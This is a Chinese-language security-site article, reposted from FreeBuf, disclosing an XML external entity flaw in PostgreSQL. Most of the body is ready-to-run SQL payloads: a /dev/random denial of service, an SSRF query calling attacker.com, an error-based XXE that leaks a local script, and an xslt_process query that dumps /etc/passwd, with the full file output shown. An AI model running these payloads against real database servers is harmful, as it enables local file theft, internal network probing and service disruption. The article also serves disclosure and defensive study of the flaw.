首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
PostgreSQL基于错误XML外部实体攻击
来源:http://www.freebuf.com 作者:thanks 发布时间:2012-06-12  

最近国外安全人员发现了一个PostgreSQL(所有版本)基于错误XML外部实体执行的高危漏洞。
经测试,该漏洞可以从数据库服务器请求到内网(SSRF-服务器端请求伪造),并可以利用xml实体注入读取任意本地文件。

实例:

DoS:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')

SSRF:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')

Error-based XXE:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

ERROR:  invalid XML document
DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
exec 9<&0 </etc/fstab        ^
/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
exec 9<&0 </etc/fstab         ^
/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
exec 9<&0 </etc/fstab           ^
Entity: line 1: parser error : Failure to process entity abc
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
^
Entity: line 1: parser error : Entity ‘abc’ not defined
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;

最新更新

通过从XXE到XSLT格式的转换,可以读取到服务器任意数据,测试语句如下:

SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*">  <xsl:element name="samples">    <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);

xslt_process

<?xml version=”1.0″?>
<samples><sample>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false
Debian-exim:x:111:115::/var/spool/exim4:/bin/false
alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash
oxod:x:1001:1001:,,,:/home/oxod:/bin/bash
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
oracle:x:1002:1002::/u01/app/oracle:/bin/bash
</sample></samples>

(1 row)

拓展阅读

XML实体注入漏洞安全警告
http://www.80sec.com/xml-entity-injection.html

参考文献
http://lab.onsec.ru


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Mysql身份认证漏洞及利用(CVE-20
·Thinkphp框架动态执行漏洞
·Dedecms 注射漏洞获得管理员密码
·structs2 远程命令执行漏洞分析
·SHOPEX 4.8.5 注入漏洞以及后台
·织梦cms v6.7最新上传漏洞
·Velocity Parse()函数引发的本地
·DeDeCMS v5.7最新ajax_membergro
·phpcms v9注入漏洞
·Discuz7.X通杀0day(UCenter Home
·phpcms 2008多个漏洞 (可getshel
·SAE云服务安全沙箱绕过
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved